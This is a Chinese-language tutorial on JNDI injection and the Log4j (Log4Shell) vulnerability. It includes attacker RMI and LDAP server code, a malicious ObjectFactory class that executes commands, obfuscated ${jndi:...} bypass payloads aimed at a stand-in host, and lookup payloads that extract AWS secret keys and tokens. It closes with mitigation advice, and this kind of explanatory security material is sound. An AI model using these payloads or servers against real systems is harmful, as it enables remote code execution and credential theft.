从JNDI到log4j
字数 803 2025-08-29 08:31:54

JNDI注入与Log4j漏洞深入解析

1. JNDI基础

1.1 JNDI核心类

InitialContext类 - JNDI的入口点,用于建立初始上下文环境:

// 构造方法
InitialContext()  // 构建一个初始上下文
InitialContext(boolean lazy)  // 构造初始上下文但不初始化
InitialContext(Hashtable<?,?> environment)  // 使用提供的环境构建初始上下文

// 常用方法
bind(Name name, Object obj)  // 将名称绑定到对象
list(String name)  // 枚举绑定的名称及对象类名
lookup(String name)  // 检索命名对象
rebind(String name, Object obj)  // 绑定名称到对象,覆盖现有绑定
unbind(String name)  // 取消绑定命名对象

Reference类 - 表示对命名/目录系统外部对象的引用:

// 构造方法
Reference(String className)  // 为指定类名构造新引用
Reference(String className, RefAddr addr)  // 为类名和地址构造新引用
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)

// 示例
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
/*
参数1: className - 远程加载时使用的类名
参数2: classFactory - 需要实例化的类名
参数3: classFactoryLocation - 提供classes数据的地址(file/ftp/http协议)
*/

2. JNDI注入攻击

2.1 JNDI+RMI攻击

攻击流程

  1. 攻击者搭建RMI服务端,绑定恶意Reference对象
  2. 受害者通过JNDI lookup触发恶意代码加载

服务端代码(攻击者)

Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);

客户端代码(受害者)

// 高版本JDK需要设置信任远程代码
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);

恶意类

public class Calc implements ObjectFactory {
    public Calc() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {}
    }
    
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, 
                                   Hashtable<?,?> env) throws Exception {
        Runtime.getRuntime().exec("calc");
        return null;
    }
}

2.2 JNDI+LDAP攻击

服务端代码(攻击者)

int port = 7777;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
    "listen", InetAddress.getByName("0.0.0.0"), port,
    ServerSocketFactory.getDefault(), SocketFactory.getDefault(), 
    (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();

客户端代码(受害者)

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String url = "ldap://127.0.0.1:7777/Calc";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);

3. Log4j漏洞分析

3.1 漏洞成因

Log4j支持JNDI查找功能,当日志中包含${jndi:...}格式的字符串时,会触发JNDI查找,从而间接触发RMI/LDAP漏洞。

漏洞触发示例

private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
    System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
    logger.error("${jndi:rmi://127.0.0.1:1099/hello}");
}

3.2 调用链分析

Interpolator.lookup() → StrSubstitutor.resolveVariable() → 
StrSubstitutor.substitute() → StrSubstitutor.replace() → 
MessagePatternConverter.format() → PatternFormatter.format() → 
PatternLayout$PatternSerializer.toSerializable() → 
PatternLayout.toText() → PatternLayout.encode() → 
AbstractOutputStreamAppender.directEncodeEvent() → 
AbstractOutputStreamAppender.tryAppend() → 
AbstractOutputStreamAppender.append() → 
AppenderControl.tryCallAppender() → 
LoggerConfig.callAppenders() → 
LoggerConfig.processLogEvent() → 
LoggerConfig.log() → 
DefaultReliabilityStrategy.log() → 
Logger.log() → 
AbstractLogger.tryLogMessage() → 
AbstractLogger.logMessageTrackRecursion() → 
AbstractLogger.logMessageSafely() → 
AbstractLogger.logMessage() → 
AbstractLogger.logIfEnabled() → 
AbstractLogger.error()

3.3 绕过Payload

${jndi:ldap://domain.com/j}
${jndi:ldap:/domain.com/a}
${jndi:dns:/domain.com}
${jndi:dns://domain.com/j}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://domain.com/j}
${${::-j}ndi:rmi://domain.com/j}
${jndi:rmi://domainldap.com/j}
${${lower:jndi}:${lower:rmi}://domain.com/j}
${${lower:${lower:jndi}}:${lower:rmi}://domain.com/j}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://domain.com/j}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://domain.com/j}
${jndi:${lower:l}${lower:d}a${lower:p}://domain.com}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//domain.com/a}
jn${env::-}di:jn${date:}di${date:':'}j${k8s:k5:-ND}i${sd:k5:-:}j${main:\k5:-Nd}i${spring:k5:-:}j${sys:k5:-nD}${lower:i${web:k5:-:}}j${::-nD}i${::-:}j${EnV:K5:-nD}i:j${loWer:Nd}i${uPper::}

3.4 信息泄露Payload

${hostName}
${sys:user.name}
${sys:user.home}
${sys:user.dir}
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}

3.5 Log4j记录的请求头

Log4j会记录以下请求头信息:

Accept-Charset, Accept-Datetime, Accept-Encoding, Accept-Language, 
Authorization, Cache-Control, Cf-Connecting_ip, Client-Ip, Contact, 
Cookie, DNT, Forwarded, Forwarded-For, Forwarded-For-Ip, 
Forwarded-Proto, From, If-Modified-Since, Max-Forwards, Origin, 
Originating-Ip, Pragma, Referer, TE, True-Client-IP, True-Client-Ip, 
Upgrade, User-Agent, Via, Warning, X-ATT-DeviceId, X-Api-Version, 
X-Att-Deviceid, X-CSRFToken, X-Client-Ip, X-Correlation-ID, 
X-Csrf-Token, X-Do-Not-Track, X-Foo, X-Foo-Bar, X-Forward-For, 
X-Forward-Proto, X-Forwarded, X-Forwarded-By, X-Forwarded-For, 
X-Forwarded-For-Original, X-Forwarded-Host, X-Forwarded-Port, 
X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Scheme, 
X-Forwarded-Server, X-Forwarded-Ssl, X-Forwarder-For, X-Frame-Options, 
X-From, X-Geoip-Country, X-HTTP-Method-Override, X-Http-Destinationurl, 
X-Http-Host-Override, X-Http-Method, X-Http-Method-Override, 
X-Http-Path-Override, X-Https, X-Htx-Agent, X-Hub-Signature, 
X-If-Unmodified-Since, X-Imbo-Test-Config, X-Insight, X-Ip, X-Ip-Trail, 
X-Leakix, X-Originating-Ip, X-ProxyUser-Ip, X-Real-Ip, X-Remote-Addr, 
X-Remote-Ip, X-Request-ID, X-Requested-With, X-UIDH, X-Wap-Profile, 
X-XSRF-TOKEN, Authorization: Basic, Authorization: Bearer, 
Authorization: Oauth, Authorization: Token

4. 防御措施

  1. 升级Log4j:使用2.17.0及以上版本
  2. 禁用JNDI查找:设置log4j2.formatMsgNoLookups=true
  3. 限制网络访问:限制应用服务器出站流量
  4. JDK防护
    • 设置com.sun.jndi.rmi.object.trustURLCodebase=false
    • 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  5. 输入过滤:对用户输入进行严格过滤,防止恶意字符串注入

5. 总结

JNDI注入漏洞通过RMI/LDAP协议实现远程代码执行,而Log4j漏洞则通过日志记录功能间接触发了JNDI注入。攻击者可以利用这些漏洞实现远程命令执行、信息泄露等恶意操作。理解这些漏洞的原理和利用方式对于安全防护至关重要。

JNDI注入与Log4j漏洞深入解析 1. JNDI基础 1.1 JNDI核心类 InitialContext类 - JNDI的入口点,用于建立初始上下文环境: Reference类 - 表示对命名/目录系统外部对象的引用: 2. JNDI注入攻击 2.1 JNDI+RMI攻击 攻击流程 : 攻击者搭建RMI服务端,绑定恶意Reference对象 受害者通过JNDI lookup触发恶意代码加载 服务端代码(攻击者) : 客户端代码(受害者) : 恶意类 : 2.2 JNDI+LDAP攻击 服务端代码(攻击者) : 客户端代码(受害者) : 3. Log4j漏洞分析 3.1 漏洞成因 Log4j支持JNDI查找功能,当日志中包含 ${jndi:...} 格式的字符串时,会触发JNDI查找,从而间接触发RMI/LDAP漏洞。 漏洞触发示例 : 3.2 调用链分析 3.3 绕过Payload 3.4 信息泄露Payload 3.5 Log4j记录的请求头 Log4j会记录以下请求头信息: 4. 防御措施 升级Log4j :使用2.17.0及以上版本 禁用JNDI查找 :设置 log4j2.formatMsgNoLookups=true 限制网络访问 :限制应用服务器出站流量 JDK防护 : 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 输入过滤 :对用户输入进行严格过滤,防止恶意字符串注入 5. 总结 JNDI注入漏洞通过RMI/LDAP协议实现远程代码执行,而Log4j漏洞则通过日志记录功能间接触发了JNDI注入。攻击者可以利用这些漏洞实现远程命令执行、信息泄露等恶意操作。理解这些漏洞的原理和利用方式对于安全防护至关重要。